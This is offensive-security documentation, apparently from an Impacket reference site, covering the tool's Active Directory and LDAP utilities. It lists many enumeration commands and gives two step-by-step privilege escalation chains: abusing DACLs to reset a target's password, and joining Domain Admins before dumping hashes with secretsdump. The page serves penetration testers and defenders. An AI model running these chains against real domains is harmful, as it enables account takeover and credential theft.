Skip to main content
Impacket provides powerful tools for interacting with Active Directory through LDAP, enabling enumeration, modification, and exploitation of AD objects and permissions.

Enumeration Tools

GetADUsers.py

Enumerate Active Directory user accounts.
# List all users
GetADUsers.py DOMAIN/user:password@DC_IP

# With NTLM hash
GetADUsers.py DOMAIN/user@DC -hashes LMHASH:NTHASH

# Kerberos authentication
GetADUsers.py DOMAIN/user@DC -k -no-pass -dc-ip DC_IP

Example Output

$ GetADUsers.py CORP/jdoe:P@[email protected] -all
Impacket v0.12.0 - Copyright 2023 Fortra

Name                 Email                   PasswordLastSet           LastLogon
-------------------  ----------------------  ------------------------  ------------------------
Administrator                                2023-01-15 10:30:22       2024-01-10 09:15:33
Guest                                        <never>                   <never>
jdoe                 [email protected]         2023-12-01 14:22:11       2024-01-15 08:45:22
sql_svc              [email protected]          2023-01-20 11:00:00       <never>

GetADComputers.py

Enumerate computer accounts in Active Directory.
# List all computers
GetADComputers.py DOMAIN/user:password@DC_IP

# With specific attributes
GetADComputers.py DOMAIN/user:pass@DC -computerName WIN10-01

# Filter for domain controllers
GetADComputers.py DOMAIN/user:pass@DC -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=8192)"

Permission & ACL Tools

dacledit.py

Read and modify Discretionary Access Control Lists (DACLs) on AD objects.
# Read DACL on object
dacledit.py DOMAIN/user:password@DC -action read -target-dn "CN=User,CN=Users,DC=domain,DC=com"

# Read specific principal's rights
dacledit.py DOMAIN/user:pass@DC -action read -target "TargetUser" -principal "AttackerUser"

Example DACL Attack Chain

# 1. Grant WriteDACL to ourselves
dacledit.py CORP/attacker:pass@dc -action write -rights WriteDacl \
  -principal attacker -target TargetUser

# 2. Grant ResetPassword (now that we have WriteDACL)
dacledit.py CORP/attacker:pass@dc -action write -rights ResetPassword \
  -principal attacker -target TargetUser

# 3. Change the target's password
changepasswd.py CORP/TargetUser:OldPass@dc -newpass NewPass123! \
  -altuser attacker -althash :ATTACKER_HASH

# 4. Use compromised account
psexec.py CORP/TargetUser:NewPass123!@target

owneredit.py

Modify object ownership in Active Directory.
# Read current owner
owneredit.py DOMAIN/user:pass@DC -action read -target-dn "CN=User,CN=Users,DC=domain,DC=com"

# Change owner (requires SeRestorePrivilege or ownership)
owneredit.py DOMAIN/user:pass@DC -action write -new-owner AttackerUser \
  -target-dn "CN=TargetUser,CN=Users,DC=domain,DC=com"

# Change owner by SID
owneredit.py DOMAIN/user:pass@DC -action write -new-owner-sid S-1-5-21-... \
  -target-dn "CN=TargetUser,CN=Users,DC=domain,DC=com"

Account & Object Manipulation

addcomputer.py

Add or remove computer accounts (covered in Kerberos section, but relevant here).
# Add via SAMR over SMB
addcomputer.py DOMAIN/user:password@DC -computer-name EVILPC$ \
  -computer-pass P@ssw0rd123!

# With hash
addcomputer.py DOMAIN/user@DC -hashes :NTHASH -computer-name EVILPC$ \
  -computer-pass P@ss

changepasswd.py

Change user passwords via multiple methods.
# Change password with Kerberos (current password required)
changepasswd.py DOMAIN/user:OldPassword@DC -newpass NewPassword123!

# With different user (requires permissions)
changepasswd.py DOMAIN/targetuser:OldPass@DC -newpass NewPass \
  -altuser attacker -altpass AttackerPass

Delegation & Privilege Tools

findDelegation.py

Identify delegation configurations (unconstrained, constrained, RBCD).
# Find all delegation
findDelegation.py DOMAIN/user:password@DC_IP

# With hash
findDelegation.py DOMAIN/user@DC -hashes LMHASH:NTHASH

Example Output

$ findDelegation.py CORP/user:[email protected]
Impacket v0.12.0 - Copyright 2023 Fortra

[*] Searching for delegation...

AccountName         AccountType  DelegationType                Services
------------------  -----------  ----------------------------  ----------------------
WEB-SERVER$         Computer     Unconstrained                 
SQL-SERVER$         Computer     Constrained                   MSSQLSvc/sql.corp.local
APP-SERVER$         Computer     Resource-Based Constrained    (see msDS-ATOABO)
service_account     User         Constrained w/ Protocol       HTTP/web.corp.local

rbcd.py

Configure Resource-Based Constrained Delegation.
# Read current RBCD settings
rbcd.py DOMAIN/user:password@DC -delegate-to TARGET$ -action read

# Show who can delegate to target
rbcd.py DOMAIN/user:pass@DC -delegate-to TARGET$ -action read

Information Gathering

lookupsid.py

Enumerate users and groups by brute-forcing SIDs.
# Enumerate domain users via SID lookup
lookupsid.py DOMAIN/user:password@DC_IP

# Works with any user account (including guest if enabled)
lookupsid.py DOMAIN/guest:@DC_IP

# Maximum RID to check
lookupsid.py DOMAIN/user:pass@DC -max-rid 5000

Example Output

$ lookupsid.py CORP/user:[email protected]
Impacket v0.12.0 - Copyright 2023 Fortra

[*] Domain SID is: S-1-5-21-1234567890-1234567890-1234567890
500: CORP\Administrator (SidTypeUser)
501: CORP\Guest (SidTypeUser)
502: CORP\krbtgt (SidTypeUser)
512: CORP\Domain Admins (SidTypeGroup)
513: CORP\Domain Users (SidTypeGroup)
514: CORP\Domain Guests (SidTypeGroup)
515: CORP\Domain Computers (SidTypeGroup)
516: CORP\Domain Controllers (SidTypeGroup)
...
1001: CORP\jdoe (SidTypeUser)
1002: CORP\sql_svc (SidTypeUser)

netview.py

Enumerate logged-on users and sessions across the domain.
# Enumerate sessions on all domain computers
netview.py DOMAIN/user:password@DC_IP

# Target specific host
netview.py DOMAIN/user:pass -target TARGET-PC

# Include groups in enumeration
netview.py DOMAIN/user:pass@DC -groupname "Domain Admins"

CheckLDAPStatus.py

Check LDAP/LDAPS configuration and signing requirements.
# Check LDAP configuration
CheckLDAPStatus.py DOMAIN/user:password@DC_IP

# Anonymous check (no credentials)
CheckLDAPStatus.py @DC_IP

DumpNTLMInfo.py

Dump NTLM authentication information from domain controller.
# Get NTLM info
DumpNTLMInfo.py @DC_IP

# Authenticated
DumpNTLMInfo.py DOMAIN/user:password@DC_IP

GPO & SYSVOL Tools

Get-GPPPassword.py

Extract Group Policy Preferences passwords from SYSVOL (covered in credential dumping).
# Search for GPP passwords in SYSVOL
Get-GPPPassword.py DOMAIN/user:password@DC_IP

# Search specific policy
Get-GPPPassword.py DOMAIN/user:pass@DC -xmlfile Groups.xml

GetLAPSPassword.py

Retrieve LAPS passwords (also covered in credential dumping).
# Get LAPS password for computer
GetLAPSPassword.py DOMAIN/user:password@DC -computer WORKSTATION$

# Get all LAPS passwords
GetLAPSPassword.py DOMAIN/user:password@DC

Service & RPC Tools

samrdump.py

Dump user information via SAMR protocol.
# Enumerate users via SAMR
samrdump.py DOMAIN/user:password@target

# With hash
samrdump.py DOMAIN/user@target -hashes LMHASH:NTHASH

rpcdump.py

Enumerate RPC endpoints.
# List RPC endpoints
rpcdump.py DOMAIN/user:password@target

# Specific port
rpcdump.py @target -port 135

# String binding
rpcdump.py DOMAIN/user:pass@target -stringbinding ncacn_ip_tcp:target

rpcmap.py

Scan and map RPC endpoints.
# Map RPC interfaces
rpcmap.py ncacn_ip_tcp:target

# Brute force RPC endpoints
rpcmap.py -brute-opnums ncacn_ip_tcp:target

Attack Scenarios

# Scenario: User has WriteDACL on Domain Admins group

# 1. Grant yourself WriteMembers on Domain Admins
dacledit.py CORP/attacker:pass@dc -action write -rights WriteMembers \
  -principal attacker -target "Domain Admins"

# 2. Add yourself to Domain Admins (via net.py or Windows)
net.py CORP/attacker:pass@dc group "Domain Admins" attacker /add

# 3. Verify membership
GetADUsers.py CORP/attacker:pass@dc -user attacker

# 4. Now you're DA - dump domain
secretsdump.py CORP/attacker:pass@dc -just-dc-ntlm

LDAP Query Examples

Useful LDAP filters for enumeration:
# All enabled users
GetADUsers.py domain/user:pass@dc -ldapfilter "(!(userAccountControl:1.2.840.113556.1.4.803:=2))"

# Users with adminCount=1 (protected accounts)
GetADUsers.py domain/user:pass@dc -ldapfilter "(adminCount=1)"

# Users with SPN (kerberoastable)
GetADUsers.py domain/user:pass@dc -ldapfilter "(&(servicePrincipalName=*)(objectCategory=user))"

# Users with "Do not require preauth"
GetADUsers.py domain/user:pass@dc -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"

# Users with password never expires
GetADUsers.py domain/user:pass@dc -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=65536)"
# Domain Admins
-ldapfilter "(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com)"

# Enterprise Admins
-ldapfilter "(memberOf=CN=Enterprise Admins,CN=Users,DC=domain,DC=com)"

# All privileged groups
-ldapfilter "(adminCount=1)"
# Domain Controllers
GetADComputers.py domain/user:pass@dc -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=8192)"

# Computers with unconstrained delegation
GetADComputers.py domain/user:pass@dc -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

# Servers (likely)
GetADComputers.py domain/user:pass@dc -ldapfilter "(operatingSystem=*Server*)"

Next Steps

Kerberos Attacks

Exploit delegation and Kerberos configurations

Credential Dumping

Extract credentials after gaining access

Remote Execution

Execute commands on enumerated systems

Build docs developers (and LLMs) love